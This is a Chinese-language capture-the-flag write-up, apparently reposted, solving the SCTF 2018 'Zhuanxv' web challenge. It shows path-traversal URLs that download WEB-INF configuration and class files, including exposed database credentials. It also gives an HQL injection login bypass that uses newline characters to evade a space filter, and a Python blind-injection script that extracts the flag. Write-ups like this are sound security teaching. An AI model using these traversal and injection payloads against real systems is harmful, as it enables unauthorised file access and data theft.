攻防世界-web-Zhuanxv(任意文件讀取、萬能密鑰、sql盲注 )


題目來源:XCTF 4th-SCTF-2018
題目描述:你只是在掃描目標端口的時候發現了一個開放的web服務

進入場景后是一個顯示時間的頁面

使用dirsearch掃描一下,發現隱藏目錄list。命令:

python3 dirsearch.py -u http://220.249.52.133:43210/ -e *

訪問list目錄,發現是一個后台登錄頁面

抓包發現背景圖片是從后台加載的一張圖片

或者從網頁源代碼也可以看出

猜測這里可能有文件讀取漏洞。

cookie中的JSESSIONID說明這是一個java web,那么我們嘗試讀取一下配置文件web.xml

瀏覽器輸入

http://220.249.52.133:43210/loadimage?fileName=../../WEB-INF/web.xml

回車,下載下來一個bg.jpg,使用Notepad++打開,內容如下

<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_9" version="2.4"
         xmlns="http://java.sun.com/xml/ns/j2ee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
    <display-name>Struts Blank</display-name>
    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
    <welcome-file-list>
        <welcome-file>/ctfpage/index.jsp</welcome-file>
    </welcome-file-list>
    <error-page>
        <error-code>404</error-code>
        <location>/ctfpage/404.html</location>
    </error-page>
</web-app>

可以看到,系統使用了struts2框架。

struts.xml是struts2的核心配置文件,在開發過程中利用率最高。該文件主要負責管理應用中的Action映射,以及該Action包含的Result定義等。

下面我們讀取struts.xml看看,瀏覽器輸入

http://220.249.52.133:43210/loadimage?fileName=../../WEB-INF/classes/struts.xml

回車,下載下來一個bg.jpg,使用Notepad++打開,內容如下

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
        "http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
    <constant name="strutsenableDynamicMethodInvocation" value="false"/>
    <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
    <constant name="struts.action.extension" value=","/>
    <package name="front" namespace="/" extends="struts-default">
        <global-exception-mappings>
            <exception-mapping exception="java.lang.Exception" result="error"/>
        </global-exception-mappings>
        <action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
            <result name="error">/ctfpage/login.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
        <action name="loadimage" class="com.cuitctf.action.DownloadAction">
            <result name="success" type="stream">
                <param name="contentType">image/jpeg</param>
                <param name="contentDisposition">attachment;filename="bg.jpg"</param>
                <param name="inputName">downloadFile</param>
            </result>
            <result name="suffix_error">/ctfpage/welcome.jsp</result>
        </action>
    </package>
    <package name="back" namespace="/" extends="struts-default">
        <interceptors>
            <interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
            <interceptor-stack name="userAuth">
                <interceptor-ref name="defaultStack" />
                <interceptor-ref name="oa" />
            </interceptor-stack>

        </interceptors>
        <action name="list" class="com.cuitctf.action.AdminAction" method="execute">
            <interceptor-ref name="userAuth">
                <param name="excludeMethods">
                    execute
                </param>
            </interceptor-ref>
            <result name="login_error">/ctfpage/login.jsp</result>
            <result name="list_error">/ctfpage/welcome.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
    </package>
</struts>

這里class里面可以看到很多class類名,嘗試了一下,都可以逐個下載,點號換成正斜杠,然后再在后面加個.class就可以下載了

loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/DownloadAction.class
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/UserOAuth.class
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/AdminAction.class

由於下載下來的class文件無法正常閱讀,我們需要將其反編譯成java源代碼。

打開jd-gui工具,將class文件直接拖進去即可。

挨個查看了一下,沒發現什么有用的信息,倒是UserLoginAction.class里面引入了3個其他的類,同樣的辦法繼續下載

loadimage?fileName=../../WEB-INF/classes/com/cuitctf/po/User.class
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/UserService.class
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/InitApplicationContext.class

依次打開后,我們在InitApplicationContext.class里找到了一個applicationContext.xml文件名。

下載

http://220.249.52.133:43210/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml

內容如下

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
        <property name="driverClassName">
            <value>com.mysql.jdbc.Driver</value>
        </property>
        <property name="url">
            <value>jdbc:mysql://localhost:3306/sctf</value>
        </property>
        <property name="username" value="root"/>
        <property name="password" value="root" />
    </bean>
    <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
        <property name="dataSource">
            <ref bean="dataSource"/>
        </property>
        <property name="mappingLocations">
            <value>user.hbm.xml</value>
        </property>
        <property name="hibernateProperties">
            <props>
                <prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
                <prop key="hibernate.show_sql">true</prop>
            </props>
        </property>
    </bean>
    <bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
        <property name="transactionManager">
            <ref bean="transactionManager"/>
        </property>
        <property name="transactionAttributes">
            <props>
                <prop key="add">PROPAGATION_REQUIRED</prop>
                <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
            </props>
        </property>
    </bean>
    <bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
        <property name="hibernateTemplate">
            <ref bean="hibernateTemplate"/>
        </property>
    </bean>
    <bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
        <property name="userDao">
            <ref bean="userDAO"/>
        </property>
    </bean>
</beans>

這里暴露了數據庫的端口用戶名密碼,嘗試遠程連接數據庫,失敗。

我們發現這里還有一個user.hbm.xml以及很多class類名,那我們繼續下載查看

loadimage?fileName=../../WEB-INF/classes/user.hbm.xml
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/impl/UserServiceImpl.class
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/dao/impl/UserDaoImpl.class

從UserServiceImpl.class里,我們可以看到,系統對用戶名進行了過濾,過濾了空格和等號。

從UserDaoImpl.class里,我們可以看到查詢語句,這里使用的sql語句與mysql不太一樣,使用的是HSQL。

hsql參考這篇文章,與mysql語句差別不大,但是也是有區別的

https://www.cnblogs.com/fengyouheng/p/11013013.html

可以嘗試構造萬能密碼

from User where name ='admin' or '1'>'0' or name like 'admin' and password = '" + password + "'

黃色部分就是拼接的語句,由於這里過濾了空格,可以考慮用換行符%0A替代空格繞過過濾

payload:

用戶名:admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin
密碼:123(隨意)

登錄成功,然而並沒有找到flag。

再看一下之前下載的user.hbm.xml文件內容,發現了flag的映射類。

<?xml version="1.0"?>
<!DOCTYPE hibernate-mapping PUBLIC
        "-//Hibernate/Hibernate Mapping DTD 3.0//EN"
        "http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">
<hibernate-mapping package="com.cuitctf.po">
    <class name="User" table="hlj_members">
        <id name="id" column="user_id">
            <generator class="identity"/>
        </id>
        <property name="name"/>
        <property name="password"/>
    </class>
    <class name="Flag" table="bc3fa8be0db46a3610db3ca0ec794c0b">
        <id name="flag" column="welcometoourctf">
            <generator class="identity"/>
        </id>
        <property name="flag"/>
    </class>
</hibernate-mapping>

至此,我們知道,flag在數據庫中。

由於萬能密鑰成功登錄的原因是'1'>'0'恆成立,我們可以在此處寫payload構造盲注語句,爆破flag。

官方wp如下

import requests
s=requests.session()

flag=''
for i in range(1,50):
    p=''
    for j in range(1,255):
        payload = "(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
        #print payload
        url="http://220.249.52.133:33772/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
        r1=s.get(url)
        #print url
        #print len(r1.text)
        if len(r1.text)>20000 and p!='':
            flag+=p
            print i,flag
            break
        p=chr(j)

跑出來flag為:sctf{C46E250926A2DFFD831975396222B08E} 

坦白說,這個腳本中payload的where id<2我不明白是什么意思,后來我嘗試了一下,將payload中的where id<2刪除后再爆破,發現也能成功。猜想Flag表中應該只有一個id列。

 

參考:https://www.cnblogs.com/mke2fs/p/11519039.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM